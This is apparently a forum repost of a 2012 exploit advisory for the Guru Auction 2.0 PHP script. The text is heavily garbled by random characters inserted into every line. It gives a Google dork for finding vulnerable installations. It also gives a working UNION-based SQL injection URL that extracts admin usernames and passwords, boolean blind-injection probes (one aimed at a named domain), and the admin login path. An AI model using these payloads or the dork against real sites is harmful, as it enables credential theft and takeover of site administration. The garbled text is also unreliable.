Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
! f7 E: a9 R2 n+ r
3 ^- D" f8 n5 s* e作者 : v3n0m
; o8 g$ _1 m) Y3 o% [4 K; P应用 : Guru Auction 2.0! j5 Z2 @4 w! |5 M t- M% l: _
Price : $49& W I8 ?! n- r6 C- C. X! i% |, o
Vendor : http://www.guruscript.com/
) V8 {) r6 x" d4 m/ eGoogle Dork : inurl:subcat.php?cate_id=" |. E1 |& f$ h: D3 F( @
0 f) X& q; Z; n; P
SQLi p0c:
! s- b9 x+ b' U~~~~~~~~~~
1 {) @0 [8 _8 P# t! e/ l: ahttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
! ?! p# o: [2 G1 N! Z" A 9 ~( H! _5 W/ J& `/ ]* e4 Q
- ]! d% p5 B: b: x U: @6 a盲注 p0c:( a; ~) C+ D1 L5 H
~~~~~~~~~~7 }4 v& T: f: y) n/ W
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true# y4 ]! R7 m, x7 G# {3 g7 d7 ]) k0 P z
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
2 z* a: n- _( U
( N% |+ W) a2 L+ I6 M管理登录入口:
E* j; v8 |7 u! P' l6 Z6 a~~~~~~~~~~
D$ l/ Y8 y {' _# h$ Uhttp://domain.tld/[path]/admin/' Y! N) D: r, ~9 g
|
发表于 2012-12-31 09:24:05
收藏
支持
反对